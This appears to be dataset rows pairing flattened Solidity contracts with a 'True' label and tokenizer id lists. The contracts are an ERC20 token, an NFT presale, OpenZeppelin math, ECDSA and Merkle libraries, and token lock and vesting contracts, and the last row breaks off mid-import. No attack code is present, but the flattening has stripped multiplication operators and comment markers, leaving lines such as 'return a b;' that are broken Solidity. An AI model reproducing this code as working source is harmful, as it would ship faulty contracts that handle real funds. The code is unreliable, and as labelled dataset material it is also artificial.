Returns an `AddressSlot` with member `value` located at `slot`. / function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `BooleanSlot` with member `value` located at `slot`. / function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. / function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 1996, 1038, 4135, 5910, 1058, 2487, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 14526, 24087, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'BXZ' token contract // // Deployed to : 0x01bc604ae9d945f29432eded391513ba587aeda1 // Symbol : BXZ // Name : 香港恒泰 // Company : 香港恒泰區塊鏈信息科技有限公司 // Total supply: 100,000,000 // Decimals : 2 // // // // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract BXZToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BXZToken() public { symbol = "BXZ"; name = "香港恒泰"; decimals = 2; _totalSupply = 10000000000; balances[0x01bc604ae9d945f29432eded391513ba587aeda1] = _totalSupply; Transfer(address(0), 0x01bc604ae9d945f29432eded391513ba587aeda1, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); 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// SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; interface SlotieNFT { function mintTo(uint256, address) external; } contract SlotiePreSale is Ownable { using SafeMath for uint256; using Strings for uint256; using ECDSA for bytes32; SlotieNFT public slotieNFT; /** Phase 1 / bool public phaseOneActive = false; bool public phaseTwoActive = false; uint256 public constant maxSupply = 2501; uint256 public constant ticketsPerUser = 3; uint256 public constant ticketPrice = 0.08 ether; // 0.08 ether uint256 public ticketSales = 1; mapping(address => uint256) public addressToTickets; /* MERKLE / bytes32 public phaseOneMerkleRoot = 0x5406f95cc1896abac2d843cd72298f3d6072f06941ef21e103d6bcae59807df0; bytes32 public phaseTwoMerkleRoot = 0x74a7375e09ffd2a49c6cfe5325df5afb05b87dfd3dbfb2708c140e805b89ad0e; bytes32 public giveawayMerkleRoot = 0xef7d2b691d30203e53e5df4f3d16f015208170d6d468f9af39a8d7ef2a12b424; /* Giveaway / uint256 public giveAwaySupply = 350; /* Security / mapping(address => uint256) public addressToTicketMints; mapping(address => uint256) public addressToGiveawayMints; //uint256 public constant maxMintPerTx = 30; /* Events / event SetSlotieNFT(address _slotieNFT); event SetSignatureProvider(address _provider); event MakePhaseOneActive(bool _active); event MakePhaseTwoActive(bool _active); event MintSloties(address _sender, uint256 _amount); constructor( address _sloties ) Ownable() { slotieNFT = SlotieNFT(_sloties); } function setSlotieNFT(SlotieNFT _slotieNFT) external onlyOwner { slotieNFT = _slotieNFT; emit SetSlotieNFT(address(_slotieNFT)); } function setPhaseOneMerkleRoot(bytes32 _root) external onlyOwner { phaseOneMerkleRoot = _root; } function setPhaseTwoMerkleRoot(bytes32 _root) external onlyOwner { phaseTwoMerkleRoot = _root; } function setGiveAwayMerkleRoot(bytes32 _root) external onlyOwner { giveawayMerkleRoot = _root; } function makePhaseOneActive(bool _val) external onlyOwner { phaseOneActive = _val; emit MakePhaseOneActive(_val); } function makePhaseTwoActive(bool _val) external onlyOwner { phaseTwoActive = _val; emit MakePhaseTwoActive(_val); } function phaseOneBuyTicketsMerkle( bytes32[] calldata proof ) external payable { require(phaseOneActive, "PHASE ONE NOT ACTIVE"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(proof, phaseOneMerkleRoot, leaf), "INVALID PROOF"); require(addressToTickets[msg.sender] == 0, "ALREADY GOT TICKET"); require(msg.value == ticketPrice, "INCORRECT AMOUNT PAID"); addressToTickets[msg.sender] = 1; ticketSales = ticketSales.add(1); } function phaseTwoBuyTicketsMerkle( uint256 _amount, bytes32[] calldata proof ) external payable { require(phaseTwoActive, "PHASE TWO NOT ACTIVE"); require(_amount > 0, "HAVE TO BUY AT LEAST 1"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(proof, phaseTwoMerkleRoot, leaf), "INVALID PROOF"); require(addressToTickets[msg.sender].add(_amount) <= ticketsPerUser, "ALREADY GOT TICKET"); require(ticketSales.add(_amount) <= maxSupply, "MAX TICKETS SOLD"); require(msg.value == ticketPrice.mul(_amount), "INCORRECT AMOUNT PAID"); addressToTickets[msg.sender] = addressToTickets[msg.sender].add(_amount); ticketSales = ticketSales.add(_amount); } function mintSloties() external { uint256 ticketsOfSender = addressToTickets[msg.sender]; uint256 mintsOfSender = addressToTicketMints[msg.sender]; uint256 mintable = ticketsOfSender.sub(mintsOfSender); require(mintable > 0, "NO MINTABLE TICKETS"); addressToTicketMints[msg.sender] = addressToTicketMints[msg.sender].add(mintable); slotieNFT.mintTo(mintable, msg.sender); emit MintSloties(msg.sender, mintable); } /* GIVEAWAY / function claimGiveaway(uint256 _amount, bytes32[] calldata proof) external { require(_amount > 0, "HAVE TO BUY AT LEAST 1"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _amount)); require(MerkleProof.verify(proof, giveawayMerkleRoot, leaf), "INVALID PROOF"); uint256 giveAwayMints = addressToGiveawayMints[msg.sender]; require(giveAwayMints == 0, "ALREADY CLAIMED"); addressToGiveawayMints[msg.sender] = addressToGiveawayMints[msg.sender].add(_amount); slotieNFT.mintTo(_amount, msg.sender); } /* * @dev Allows the owner to withdraw ether / function withdraw() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /* * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /* * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. / library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /* * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ / function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /* * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. / function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /* * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ / function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /* * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ / function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /* * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ / function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /* * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. / function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /* * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. / function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /* * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. / function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /* * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. / function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. / library MerkleProof { /* * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. / function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /* * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ / function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2184, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 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pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a b; assert(a == 0 \|\| c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() public{ owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x2B668F2Bafeba77Fc372ad88bF0004fAd96Ba0B1; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 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// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "../BaseContracts/BaseVesting.sol"; contract LunrCrush is BaseVesting{ constructor( address signer_, address token_, uint256 startDate_, uint256 vestingDuration_, uint256 totalAllocatedAmount_ ) BaseVesting( signer_, token_, startDate_, vestingDuration_, totalAllocatedAmount_ ) {} } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import 